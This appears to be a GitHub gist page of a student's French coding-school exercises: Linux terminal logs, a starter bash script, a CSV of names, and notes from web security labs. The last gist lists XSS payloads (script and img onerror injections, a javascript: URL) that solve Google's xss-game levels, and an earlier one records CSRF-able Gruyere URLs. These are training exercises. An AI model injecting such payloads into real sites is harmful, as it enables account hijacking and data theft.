Skip to content

Instantly share code, notes, and snippets.

View Hullaballo2001's full-sized avatar

roulietta Hullaballo2001

View GitHub Profile
@Hullaballo2001
Hullaballo2001 / gist:8c7c11069dedbe7ca677a50a67953087
Created September 14, 2021 22:13
Quête Linux 3 planets ... crash
rouli@ROULIETTA-C3AMNNUF MINGW64 ~/quests/shell
$ curl -L -o planets.zip "https://github.com/WildCodeSchool/quests-ressources/blob/master/terminal/planets.zip?raw=true"
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 203k 0 203k 0 0 394k 0 --:--:-- --:--:-- --:--:-- 395k
rouli@ROULIETTA-C3AMNNUF MINGW64 ~/quests/shell
$ unzip plants.zip
unzip: cannot find or open plants.zip, plants.zip.zip or plants.zip.ZIP.
@Hullaballo2001
Hullaballo2001 / gist:e406c3522d245e7d93581682481c3165
Created September 14, 2021 22:16
Quête Linux 2 delete mon ami
rouli@ROULIETTA-C3AMNNUF MINGW64 ~
$ ls
'3D Objects'/ Dropbox/ Music/ Recent@ 'Voisinage réseau'@
AppData/ Favorites/ NTUSER.DAT 'Saved Games'/ ntuser.dat.LOG1
'Application Data'@ Links/ NTUSER.DAT{739346ab-df92-11ea-835b-28cdc4bc09da}.TM.blf Searches/ ntuser.dat.LOG2
Contacts/ 'Local Settings'@ NTUSER.DAT{739346ab-df92-11ea-835b-28cdc4bc09da}.TMContainer00000000000000000001.regtrans-ms SendTo@ ntuser.ini
Cookies@ 'Menu Démarrer'@ NTUSER.DAT{739346ab-df92-11ea-835b-28cdc4bc09da}.TMContainer00000000000000000002.regtrans-ms Videos/
Documents/ 'Mes documents'@ OneDrive/
@Hullaballo2001
Hullaballo2001 / hello.sh
Last active September 15, 2021 07:37
first script ever
# Quel shell on utilise
#!/bin/bash
# Prompt username
read -p 'Quel est ton nom, étranger ?' -t 10 nom
# Si pas de reponse dans les 10 sec, on prend le $user
@Hullaballo2001
Hullaballo2001 / $ javascript_biarritz_toulouse.csv
Created September 15, 2021 13:27
Linux Terminal 3 Entrées sorties et redirections
We can make this file beautiful and searchable if this error is corrected: It looks like row 2 should actually have 1 column, instead of 6. in line 1.
$ cat javascript_biarritz_toulouse.csv
Agathe,Bazin,Toulouse,France,2017,JavaScript
Maurice,Munoz,Toulouse,France,2017,JavaScript
Michèle,Traore,Toulouse,France,2017,JavaScript
Aurélie,Becker,Toulouse,France,2018,JavaScript
Timothée,Henry,Toulouse,France,2018,JavaScript
Théodore,Gerard,Toulouse,France,2018,JavaScript
Maryse,Allain,Toulouse,France,2018,JavaScript
Philippe,Paris,Toulouse,France,2018,JavaScript
Henri,Guilbert,Toulouse,France,2018,JavaScript
@Hullaballo2001
Hullaballo2001 / gist:ddb0bb180e7d78539bffa071f86ec7fe
Last active September 15, 2021 14:19
Linux - Terminal 2 - fichiers et dossiers
**find
$ find
.
./fictional
./fictional/arrakis.jpeg
./fictional/coruscant.jpeg
./fictional/cybertron.jpeg
./inhabited
./inhabited/arrakis.jpeg
./inhabited/coruscant.jpeg
# Création d'un script de sauvegarde
# - Le script demande quel dossier l'utilisateur souhaite sauvegarder
# - Si le dossier n'existe pas, il affiche un message d'erreur
# - Le script demande ou sauvegarder le fichier
# - Le script demande la confirmation de sauvegarder à l'endroit choisit
# - Le script affiche un message quand la sauvegarde est correctement effectué
# - Le script demande si l'utilisateur veux sauvegarder un autre dossier
#
@Hullaballo2001
Hullaballo2001 / Quête Sécurité 1.1 [Basics] Attaques CSRF : découvrir
Last active October 27, 2021 14:28
Quête Sécurité 1.1 [Basics] Attaques CSRF : découvrir
Your Gruyere instance id is 620119290401856536461795748554137216491.
signup : rouletta/pass
https://google-gruyere.appspot.com/620119290401856536461795748554137216491/newaccount.gtl
https://google-gruyere.appspot.com/620119290401856536461795748554137216491/saveprofile?action=new&uid=roulietta&pw=pass&is_author=True après le submit new account
https://google-gruyere.appspot.com/620119290401856536461795748554137216491/snippets.gtl après création du snippet
https://google-gruyere.appspot.com/620119290401856536461795748554137216491/snippets.gtl# après suppression du snipet + refresh
https://google-gruyere.appspot.com/620119290401856536461795748554137216491/deletesnippet?index=0 dans l'inspecteur qd on selectionne le X pour supprimer le snippet
@Hullaballo2001
Hullaballo2001 / Quête Sécurité 1.2 [Basics] Attaques CSRF : prévenir
Last active October 27, 2021 14:29
Quête Sécurité 1.2 [Basics] Attaques CSRF : prévenir
a
a
a
b
b
c
b
a
b
@Hullaballo2001
Hullaballo2001 / Quête Sécurité 2.2 [Basics] Injections SQL : prévenir
Last active October 27, 2021 14:30
Quête Sécurité 2.2 [Basics] Injections SQL : prévenir
b
b
b
b
b
a
b
a
c
@Hullaballo2001
Hullaballo2001 / Quête Sécurité 3.1 [Basics] Attaques XSS : découvrir
Last active October 27, 2021 14:31
Quête Sécurité 3.1 [Basics] Attaques XSS : découvrir
dans le formulaire de recherche : <script>alert('hello')</script>
dans un post : <img src=x onerror="alert('Pop-up window via stored XSS');"
dans l'url : https://xss-game.appspot.com/level3/frame#3 >'>"><img src=x onerror=alert(0)>
dans le timer : ');alert(/xss 4/);('
dans email : javascript:alert("XSS") et dans l'url : https://xss-game.appspot.com/level5/frame/signup?next=javascript:alert('XSS')
dans l'url : https://xss-game.appspot.com/level6/frame#//google.com/jsapi?callback=alert